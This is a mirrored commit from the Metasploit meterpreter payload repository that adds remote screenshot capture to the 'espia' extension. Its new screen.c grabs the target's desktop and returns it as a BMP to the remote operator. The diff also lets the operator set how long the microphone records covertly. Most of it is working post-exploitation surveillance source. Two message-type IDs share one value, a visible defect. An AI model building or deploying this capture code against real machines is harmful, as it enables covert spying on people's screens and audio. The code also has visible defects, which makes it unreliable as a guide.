mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Finally screenshot capture. BMP at this time
git-svn-id: file:///home/svn/framework3/trunk@7063 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
et
parent
a9db28fc8a
commit
18f0d3588c
@ -64,7 +64,7 @@ BOOL capmicaudio(char *szFile, int millisecs)
|
||||
|
||||
|
||||
|
||||
int __declspec(dllexport) controlmic(char **waveresults) {
|
||||
int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
|
||||
DWORD dwError = 0;
|
||||
char *wavestring = NULL;
|
||||
|
||||
@ -72,7 +72,7 @@ int __declspec(dllexport) controlmic(char **waveresults) {
|
||||
char buffer[100];
|
||||
/* END METERPRETER CODE */
|
||||
|
||||
capmicaudio("C:\\test.wav", 10000);
|
||||
capmicaudio("C:\\test.wav", msecs);
|
||||
|
||||
*waveresults = wavestring;
|
||||
|
||||
@ -90,8 +90,7 @@ DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
char *wave = NULL;
|
||||
|
||||
|
||||
if (controlmic(&wave))
|
||||
if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
|
||||
{
|
||||
res = GetLastError();
|
||||
}
|
||||
|
||||
@ -6,6 +6,7 @@
|
||||
#include "espia.h"
|
||||
#include "audio.h"
|
||||
#include "video.h"
|
||||
#include "screen.h"
|
||||
|
||||
|
||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
@ -33,6 +34,12 @@ Command customCommands[] =
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Screen
|
||||
{ "espia_image_get_dev_screen",
|
||||
{ request_image_get_dev_screen, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
|
||||
@ -11,8 +11,20 @@
|
||||
|
||||
#define TLV_TYPE_DEV_AUDIO \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_ESPIA, \
|
||||
TLV_EXTENSIONS + 912)
|
||||
|
||||
#define TLV_TYPE_DEV_SCREEN \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_RAW, \
|
||||
TLV_TYPE_EXTENSION_ESPIA, \
|
||||
TLV_EXTENSIONS + 913)
|
||||
|
||||
#define TLV_TYPE_DEV_RECTIME \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_ESPIA, \
|
||||
TLV_EXTENSIONS + 913)
|
||||
|
||||
#endif
|
||||
|
||||
220
c/meterpreter/source/extensions/espia/screen.c
Normal file
220
c/meterpreter/source/extensions/espia/screen.c
Normal file
@ -0,0 +1,220 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <tchar.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
#include <wingdi.h>
|
||||
#include "espia.h"
|
||||
|
||||
|
||||
/* Function modified to store bitmap in memory. et [ ] metasploit.com
|
||||
======================================================================
|
||||
|
||||
Saves a bitmap to a file
|
||||
|
||||
The following function was adopted from pywin32, and is thus under the
|
||||
following copyright:
|
||||
|
||||
Copyright (c) 1994-2008, Mark Hammond
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the distribution.
|
||||
|
||||
Neither name of Mark Hammond nor the name of contributors may be used
|
||||
to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
|
||||
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
int save_bitmap_file(HBITMAP hBmp, HDC hDC, Packet *resp){
|
||||
// data structures
|
||||
BITMAP bmp;
|
||||
PBITMAPINFO pbmi;
|
||||
WORD cClrBits;
|
||||
//HANDLE hf; // file handle
|
||||
BITMAPFILEHEADER hdr; // bitmap file-header
|
||||
PBITMAPINFOHEADER pbih; // bitmap info-header
|
||||
LPBYTE lpBits; // memory pointer
|
||||
DWORD dwTotal; // total count of bytes
|
||||
DWORD cb; // incremental count of bytes
|
||||
BYTE *hp; // byte pointer
|
||||
DWORD dwTmp;
|
||||
DWORD s;
|
||||
TCHAR* buf;
|
||||
|
||||
|
||||
// Retrieve the bitmap's color format, width, and height.
|
||||
if (!GetObject(hBmp, sizeof(BITMAP), (LPVOID) &bmp))
|
||||
// GetObject failed
|
||||
return 0;
|
||||
|
||||
// Convert the color format to a count of bits.
|
||||
cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
|
||||
if (cClrBits == 1)
|
||||
cClrBits = 1;
|
||||
else if (cClrBits <= 4)
|
||||
cClrBits = 4;
|
||||
else if (cClrBits <= 8)
|
||||
cClrBits = 8;
|
||||
else if (cClrBits <= 16)
|
||||
cClrBits = 16;
|
||||
else if (cClrBits <= 24)
|
||||
cClrBits = 24;
|
||||
else cClrBits = 32;
|
||||
|
||||
|
||||
// Allocate memory for the BITMAPINFO structure. (This structure
|
||||
// contains a BITMAPINFOHEADER structure and an array of RGBQUAD
|
||||
// data structures.)
|
||||
if (cClrBits != 24)
|
||||
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1<< cClrBits));
|
||||
|
||||
// There is no RGBQUAD array for the 24-bit-per-pixel format.
|
||||
else
|
||||
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));
|
||||
|
||||
// Initialize the fields in the BITMAPINFO structure.
|
||||
|
||||
pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
pbmi->bmiHeader.biWidth = bmp.bmWidth;
|
||||
pbmi->bmiHeader.biHeight = bmp.bmHeight;
|
||||
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
|
||||
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
|
||||
|
||||
if (cClrBits < 24)
|
||||
pbmi->bmiHeader.biClrUsed = (1<<cClrBits);
|
||||
|
||||
// If the bitmap is not compressed, set the BI_RGB flag.
|
||||
pbmi->bmiHeader.biCompression = BI_RGB;
|
||||
|
||||
// Compute the number of bytes in the array of color
|
||||
// indices and store the result in biSizeImage.
|
||||
pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8
|
||||
* pbmi->bmiHeader.biHeight * cClrBits;
|
||||
|
||||
// Set biClrImportant to 0, indicating that all of the
|
||||
// device colors are important.
|
||||
pbmi->bmiHeader.biClrImportant = 0;
|
||||
|
||||
|
||||
pbih = (PBITMAPINFOHEADER) pbmi;
|
||||
lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
|
||||
|
||||
|
||||
|
||||
if (!lpBits) {
|
||||
// GlobalAlloc failed
|
||||
//printf("error: out of memory\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Retrieve the color table (RGBQUAD array) and the bits
|
||||
// (array of palette indices) from the DIB.
|
||||
if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) {
|
||||
// GetDIBits failed
|
||||
//printf("error: GetDiBits failed\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
hdr.bfType = 0x4d42; // 0x42 = "B" 0x4d = "M"
|
||||
// Compute the size of the entire file.
|
||||
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) +
|
||||
pbih->biSize + pbih->biClrUsed
|
||||
* sizeof(RGBQUAD) + pbih->biSizeImage);
|
||||
hdr.bfReserved1 = 0;
|
||||
hdr.bfReserved2 = 0;
|
||||
|
||||
// Compute the offset to the array of color indices.
|
||||
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) +
|
||||
pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD);
|
||||
|
||||
s = sizeof(BITMAPFILEHEADER);
|
||||
s = s + (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
|
||||
// Copy the array of color indices into the .BMP file.
|
||||
dwTotal = cb = pbih->biSizeImage;
|
||||
hp = lpBits;
|
||||
|
||||
s = s + ((int) cb);
|
||||
|
||||
buf = (TCHAR *)malloc(s * sizeof(TCHAR));
|
||||
memcpy(buf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER));
|
||||
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
|
||||
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
|
||||
packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
|
||||
|
||||
// Free memory.
|
||||
GlobalFree((HGLOBAL)lpBits);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Grabs screenshot.
|
||||
*/
|
||||
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
|
||||
HWND hDesktopWnd;
|
||||
HDC hdc;
|
||||
HDC hmemdc;
|
||||
HBITMAP hbmp;
|
||||
int sx,sy;
|
||||
|
||||
hDesktopWnd = GetDesktopWindow();
|
||||
hdc = GetDC(hDesktopWnd);
|
||||
hmemdc = CreateCompatibleDC(hdc);
|
||||
|
||||
if(hdc){
|
||||
sx = GetSystemMetrics(SM_CXSCREEN);
|
||||
sy = GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
hbmp = CreateCompatibleBitmap(hdc,sx,sy);
|
||||
|
||||
if (hbmp) {
|
||||
SelectObject(hmemdc, hbmp);
|
||||
BitBlt(hmemdc,0,0,sx,sy,hdc,0,0,SRCCOPY);
|
||||
save_bitmap_file(hbmp, hmemdc,response);
|
||||
|
||||
ReleaseDC(hDesktopWnd,hdc);
|
||||
DeleteDC(hmemdc);
|
||||
DeleteObject(hbmp);
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
|
||||
return res;
|
||||
}
|
||||
6
c/meterpreter/source/extensions/espia/screen.h
Normal file
6
c/meterpreter/source/extensions/espia/screen.h
Normal file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_SCREEN_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_SCREEN_H
|
||||
|
||||
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
@ -366,6 +366,10 @@
|
||||
RelativePath="..\..\source\extensions\espia\espia.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\extensions\espia\screen.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\extensions\espia\video.c"
|
||||
>
|
||||
@ -384,6 +388,10 @@
|
||||
RelativePath="..\..\source\extensions\espia\espia.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\extensions\espia\screen.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\extensions\espia\video.h"
|
||||
>
|
||||
|
||||
@ -130,12 +130,10 @@ Global
|
||||
{488BE203-8407-42D1-B334-8B5C3BC5AB3E}.Release|x64.Build.0 = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.Build.0 = Debug|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|Win32.Build.0 = Release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.ActiveCfg = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.Build.0 = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.ActiveCfg = Release|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
|
||||
Loading…
Reference in New Issue
Block a user